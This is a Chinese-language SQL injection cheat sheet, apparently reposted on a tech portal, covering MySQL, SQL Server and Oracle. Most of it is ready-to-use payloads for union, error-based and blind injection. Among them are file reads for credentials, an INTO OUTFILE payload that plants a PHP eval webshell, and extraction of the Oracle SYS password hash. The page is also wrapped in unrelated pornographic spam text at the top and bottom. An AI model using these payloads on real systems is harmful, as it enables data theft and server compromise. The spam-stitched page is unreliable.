成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

SQL注入速查筆記

運維 數據庫運維
Mysql劃分:權限 root 普通用戶 版本 mysql>5.0 mysql<5.0。

 [[348344]]

0x01 Mysql

Mysql劃分:權限 root 普通用戶 版本 mysql>5.0 mysql<5.0

1.1 root權限

load_file和into outfile用戶必須有FILE權限,并且還需要知道網站的絕對路徑

判斷是否具有讀寫權限

  1. and (select count(*) from mysql.user)>0# 
  2. and (select count(file_priv) from mysql.user)># 

A、Load_file() 該函數用來讀取源文件的函數,只能讀取絕對路徑的網頁文件

注意:路徑符號”\”錯誤 “\”正確 “/”正確,轉換成十六進制,不用“”

  1. id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路徑轉16進制) 

可以用來讀取數據庫連接文件獲取數據連接賬號、密碼等

  1. ?id=1'and 1=2 union select 1,load_file('D:\\wamp\\www\\111.php')%23 
  2. id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23 

B、into outfile函數

條件:1. 絕對路徑 2.可以使用單引號

  1. ?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php' 
  2. ?id=1 LIMIT 0,1 INTO OUTFILE 'E:/s 
  3. tudy/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 -- 

1.2 MySQL聯合查詢

1.2.1 適用于mysql低于5.0版本

  1. 1.判斷是否可以注入 
  2.     ?id=1 and 1=1,頁面正常 
  3.     ?id=1 and 1=2,頁面空白 
  4. 2.獲得字段數 
  5. order by的方法來判斷,比如: 
  6.     ?id=1 order by 4   頁面顯示正常 
  7.     ?id=1 order by 5   頁面出錯,說明字段數等于4 
  8. 3.獲得顯示位 
  9.     ?id=1 and 1=2 union select 1,2,3,4  
  10.     //比如,頁面上出現了幾個數字,分別是2,3,4,那么,這幾個數字就被我們稱作顯示位。 
  11. 4.猜表名 
  12.     猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如: 
  13.         ?id=1 and 1=2 union select 1,2,3,4 from users 
  14.     這樣,當users表存在的話,頁面就會顯示正常,如果我們提交一個不存在的表名,頁面就會出錯。 
  15.  
  16. 5.猜字段 
  17.     使用:Concat(字段名)替換顯示位的位置。 
  18.         ?id=1 and 1=2 union select 1,2,3,concat(username,passwordfrom users 

1.2.2 適用于Mysql 5.0以上版本支持查表查列

  1. 1.先判斷是否可以注入 
  2.     and+1=1,頁面正常 
  3.     and+1=2,頁面空白 
  4. 2.獲得字段數:使用order by 
  5. 提交: 
  6.     ?id=1 order by 4 正確。 
  7.     ?id=1 order by 5 錯誤。 
  8.     那么,判斷出字段數為4。 
  9. 3.獲得顯示位 
  10.  
  11. 提交:?id=1 +and+1=2+union+select+1,2,3,4 
  12. 顯示位為:2,3,4 
  13. 4.獲取信息 
  14.     ?id=1 +and+1=2+union+select+1,2,3,version() 
  15.  
  16.     database()  
  17.     user()   
  18.     version()  
  19.     database()   
  20.     @@basedir  數據庫安裝路徑 
  21.     @@datadir  數據庫路徑 
  22. 5.查表 
  23. ?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(數據庫名test的Hex) limit 0,1-- 
  24. 得到表:test 
  25.  
  26. 6.查字段 
  27.     ?id=1 and 1=2 union select 1,2,3,column_name from  
  28. information_schema.columns where table_name=0x74657374 limit 0,1-- 
  29.     得到字段:id,username,password 
  30. 7.爆字段內容 
  31.     ?id=1+and+1=2+union+select+1,2,3,concat(username,passwordfrom+test 

1.3 MySQL報錯注入

mysql暴錯注入方法整理,通過floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。

多種報錯注入方式:

  1. and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a); 
  2. and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 
  3. and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1))) 
  4. and 1=(updatexml(1,concat(0x3a,(select user())),1)) 
  5. and GeometryCollection((select*from(select*from(select @@version)f)x)) 
  6. and polygon((select*from(select name_const(version(),1))x)) 
  7. and linestring((select * from(select * from(select user())a)b)) 
  8. and multilinestring((select * from(select * from(select version())a)b)); 
  9. and multipoint((select * from(select * from(select user())a)b)); 
  10. and multipolygon((select * from(select * from(select user())a)b)); 
  11. and exp(~(select * from(select version())a)); 

1.4 MySQL盲注

基于布爾型注入

  1. id=1 and (select length(user()))=20 # 返回正常頁面  長度20位 
  2. id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97 
  3. //截取username第一個數據的ascii值 

基于時間型注入

  1. 1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0)) 
  2. 1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2'

0x02 SQLServer

SA權限:數據庫操作,文件管理,命令執行,注冊表讀取等

Db權限:文件管理,數據庫操作等

Public權限:數據庫操作

2.1 SQLServer 聯合查詢

  1. 1.判斷是否存在注入 
  2.     ?id=1 and 1=1--  返回正確 
  3.     ?id=1 and 1=2--  返回錯誤 
  4.  
  5. 2.獲取字段數 
  6.     ?id=1 order by 2-- 返回正確頁面   
  7.     ?id=1 order by 3-- 返回錯誤頁面    字段長度為2 
  8.  
  9. 3.查看數據庫版本 
  10.     ?id=1 and 1=2 union select  db_name(),null   //獲得當前數據庫 
  11.  
  12. 4.查看表名 
  13.     ?id=1 and 1=2 union select  top 1  TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users')  
  14.  
  15. 5.查看列名 
  16.     ?id=1 and 1=2 union select  top 1 column_name ,2  from  information_schema.columns where table_name ='users'  and column_name not in ('uname'
  17.  
  18. 6.獲取數據 
  19.     ?id=1 and 1=2 union select top 1 uname,null from users 

2.2 SQLServer 報錯注入

  1. 1.獲取表名 
  2. ?id=4' and 1>(select top 1  TABLE_NAME from INFORMATION_SCHEMA.TABLES  where TABLE_NAME not in ('admin') )-- 
  3. 2.獲取列名 
  4. ?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) -- 
  5.  
  6. 3.獲取數據 
  7. ?id=4' and 1=(select top 1 pwd from admin) -- 
  8.  
  9. 4.獲取數據庫信息 
  10. ?id=1' and 1=(select @@version)--   //SQL Server 2000 
  11. ?id=1' and 1=(select db_name())  //當前使用的數據庫 

2.3 SQLServer 盲注

  1. 1、猜表名 
  2.  
  3. ?id=1 and  (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u'and len(name)=7)=1 --  //獲取第一個表的長度7 
  4.  
  5. ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u'and ascii(substring(name,1,1))=116)=1 --    //截取第一個表第一位的ascii碼 
  6.  
  7. ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二個表的第一位ASCII值 
  8. 得到表名,進一步猜解字段 
  9.  
  10. 2、猜字段 
  11. id=1 and  
  12. (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1  
  13. //獲取users表第一個字段的ASCII值 
  14.  
  15. id=1 and  
  16. (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass')  and ascii(substring(name,1,1))>90)=1  -- 
  17. //獲取user表第二個字段的第一位ASCII值 
  18.  
  19. 3、猜數據 
  20. id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --   
  21. //獲取users表中uname字段的第一位ASCII值 

0x03 Oracle

3.1 聯合查詢

  1. Union select null,null,null   從第一個null開始加’null’,得到顯示位 
  2. Union select null,null,null from dual  返回正確,存在dual表 
  3. Union Select tablespace_name from user_tablespaces    //查庫 
  4. Union Select table_name from user_tables where rownum = 1 and table_name<>’news’  //查表 
  5. Union Select column_name from user_tab_columns where table_name=’users’  //查列 
  6. ?id=1 order by 1-- //獲取字段數 
  7. and+1=1+union+all+select+(SELECT banner FROM v$version where rownum=1)+from+dual--//獲取數據庫版本 
  8. and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //獲取當前連接數據庫的用戶名 
  9. union+all+select+(select password from sys.userwhere rownum=1 and name='SYS')+from+dual-- -- //獲取用戶SYS密文密碼 
  10. union+all+select+(SELECT name FROM v$database)+from+dual-- //獲取庫名 
  11. and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//獲取第一個表名 

3.2 手工顯錯注入

  1. 最大的區別就是utl_inaddr.get_host_address這個函數,10g可以調用,11g需要dba高權限 
  2.  
  3. //判斷是否是oracle 
  4. ?id=1 and exists(select * from dual)-- 
  5.  //獲取庫名 
  6. ?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v$database))—- 
  7. //獲取數據庫服務器所在ip 
  8. ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))--  
  9. ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where rownum=1),'a','b')-- 
  10. ?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')-- 
  11. ?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null -- 
  12. ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))-- 

3.3 盲注

基于布爾類型的盲注:

  1. ?id=7782' and length((SELECT name FROM v$database))=4--  獲取數據庫名長度 
  2. ?id=7782'  and ascii(substr((SELECT name FROM v$database),1,1))=79--  
  3. 獲取數據庫名第一位為O 

基于時間延遲的盲注:

  1. ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)-- 
  2. ?id=7782'  AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)-- 

 

責任編輯:武曉燕 來源: Bypass
相關推薦

2013-05-02 15:09:22

2010-12-20 16:04:30

2017-08-10 10:23:59

2010-04-13 14:35:17

2011-10-19 10:47:56

2020-12-16 13:22:37

Web安全SQL工具

2020-09-28 09:30:13

mybatis

2010-09-27 11:17:31

2009-02-12 10:14:16

2010-10-22 15:18:18

SQL注入漏洞

2021-01-15 07:44:21

SQL注入攻擊黑客

2018-12-11 10:55:00

SQLFuzzWEB安全

2016-09-06 13:40:20

2010-09-14 16:00:16

2020-08-30 14:34:42

Java語言安全編碼web安全

2020-12-08 08:14:11

SQL注入數據庫

2009-02-04 16:11:45

2015-08-26 11:12:11

數據溢出SQL注入SQL報錯注入

2014-11-04 13:43:10

2009-11-02 13:47:09

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲久草视频 | 在线中文字幕第一页 | 国产精品欧美一区二区 | 狠狠操狠狠 | 日本成人中文字幕在线观看 | 手机日韩 | 亚洲色图插插插 | 久久国产精品网 | 国产一级片 | 天堂网中文| 高清一区二区 | 美女黄色在线观看 | 最新免费黄色网址 | 日韩精品成人一区二区三区视频 | 久久久久久久久国产成人免费 | 人人鲁人人莫人人爱精品 | 国产综合av | 91网站在线观看视频 | 成年人的视频免费观看 | 男人天堂网址 | 欧美精品在线观看 | 九九久久这里只有精品 | 欧美成人a | 亚洲综合热 | av首页在线| 国产精品69毛片高清亚洲 | 久久久青草婷婷精品综合日韩 | 久热久热| 99精品观看| 成人影音 | 激情一区二区三区 | 成人免费视频网站在线观看 | 久久男人天堂 | 国产精品久久久久久妇女 | 亚洲欧美日韩精品久久亚洲区 | 亚洲精品黄色 | 精品国产青草久久久久福利 | 一本大道久久a久久精二百 欧洲一区二区三区 | 久久精品成人 | 色又黄又爽网站www久久 | 欧美性猛交 |